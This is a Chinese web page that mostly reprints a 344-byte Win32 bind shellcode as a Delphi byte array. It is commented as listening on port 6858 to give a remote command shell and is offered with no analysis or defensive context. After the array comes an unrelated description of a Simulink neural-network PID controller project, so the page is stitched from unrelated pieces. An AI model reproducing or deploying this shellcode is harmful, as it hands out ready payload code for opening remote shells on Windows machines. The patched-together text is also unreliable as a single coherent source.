win32 Bind shellcode 344 bytes

Win32 Bind Shellcode 分析
本文提供了一段用于创建Win32平台bind shell的shellcode,该shellcode长度为344字节,监听端口为6858,等待远程命令执行。作者通过Delphi编写并分享了具体的shellcode字节序列。

win32 Bind shellcode 344 bytes

BY Delphiscn (cnBlaster#hotmail.com)http://blog.youkuaiyun.com/delphiscn

Code:
{
Binding Port on 6858 to wait a cmdshell
}

ShellCode:Array [0..343] of Byte =
(
$33,$C9,$83,$E9,$B0,$D9,$EE,$D9,$74,$24,$F4,$5B,$81,$73,$13,$44,
$3B,$78,$41,$83,$EB,$FC,$E2,$F4,$B8,$51,$93,$0C,$AC,$C2,$87,$BE,
$BB,$5B,$F3,$2D,$60,$1F,$F3,$04,$78,$B0,$04,$44,$3C,$3A,$97,$CA,
$0B,$23,$F3,$1E,$64,$3A,$93,$08,$CF,$0F,$F3,$40,$AA,$0A,$B8,$D8,
$E8,$BF,$B8,$35,$43,$FA,$B2,$4C,$45,$F9,$93,$B5,$7F,$6F,$5C,$69,
$31,$DE,$F3,$1E,$60,$3A,$93,$27,$CF,$37,$33,$CA,$1B,$27,$79,$AA,
$47,$17,$F3,$C8,$28,$1F,$64,$20,$87,$0A,$A3,$25,$CF,$78,$48,$CA,
$04,$37,$F3,$31,$58,$96,$F3,$01,$4C,$65,$10,$CF,$0A,$35,$94,$11,
$BB,$ED,$1E,$12,$22,$53,$4B,$73,$2C,$4C,$0B,$73,$1B,$6F,$87,$91,
$2C,$F0,$95,$BD,$7F,$6B,$87,$97,$1B,$B2,$9D,$27,$C5,$D6,$70,$43,
$11,$51,$7A,$BE,$94,$53,$A1,$48,$B1,$96,$2F,$BE,$92,$68,$2B,$12,
$17,$68,$3B,$12,$07,$68,$87,$91,$22,$53,$62,$8B,$22,$68,$F1,$A0,
$D1,$53,$DC,$5B,$34,$FC,$2F,$BE,$92,$51,$68,$10,$11,$C4,$A8,$29,
$E0,$96,$56,$A8,$13,$C4,$AE,$12,$11,$C4,$A8,$29,$A1,$72,$FE,$08,
$13,$C4,$AE,$11,$10,$6F,$2D,$BE,$94,$A8,$10,$A6,$3D,$FD,$01,$16,
$BB,$ED,$2D,$BE,$94,$5D,$12,$25,$22,$53,$1B,$2C,$CD,$DE,$12,$11,
$1D,$12,$B4,$C8,$A3,$51,$3C,$C8,$A6,$0A,$B8,$B2,$EE,$C5,$3A,$6C,
$BA,$79,$54,$D2,$C9,$41,$40,$EA,$EF,$90,$10,$33,$BA,$88,$6E,$BE,
$31,$7F,$87,$97,$1F,$6C,$2A,$10,$15,$6A,$12,$40,$15,$6A,$2D,$10,
$BB,$EB,$10,$EC,$9D,$3E,$B6,$12,$BB,$ED,$12,$BE,$BB,$0C,$87,$91,
$CF,$6C,$84,$C2,$80,$5F,$87,$97,$16,$C4,$A8,$29,$B4,$B1,$7C,$1E,
$17,$C4,$AE,$BE,$94,$3B,$78,$41
);

提供了基于BP(Back Propagation)神经网络结合PID(比例-积分-微分)控制策略的Simulink仿真模型。该模型旨在实现对杨艺所著论文《基于S函数的BP神经网络PID控制器及Simulink仿真》中的理论进行实践验证。在Matlab 2016b环境下开发,经过测试,确保能够正常运行,适合学习和研究神经网络在控制系统中的应用。 特点 集成BP神经网络:模型中集成了BP神经网络用于提升PID控制器的性能,使之能更好地适应复杂控制环境。 PID控制优化:利用神经网络的自学习能力,对传统的PID控制算法进行了智能调整,提高控制精度和稳定性。 S函数应用:展示了如何在Simulink中通过S函数嵌入MATLAB代码,实现BP神经网络的定制化逻辑。 兼容性说明:虽然开发于Matlab 2016b,但理论上兼容后续版本,可能会需要调整少量配置以适配不同版本的Matlab。 使用指南 环境要求:确保你的电脑上安装有Matlab 2016b或更高版本。 模型加载: 下载本仓库到本地。 在Matlab中打开.slx文件。 运行仿真: 调整模型参数前,请先熟悉各模块功能和输入输出设置。 运行整个模型,观察控制效果。 参数调整: 用户可以自由调节神经网络的层数、节点数以及PID控制器的参数,探索不同的控制性能。 学习和修改: 通过阅读模型中的注释和查阅相关文献,加深对BP神经网络与PID控制结合的理解。 如需修改S函数内的MATLAB代码,建议有一定的MATLAB编程基础。
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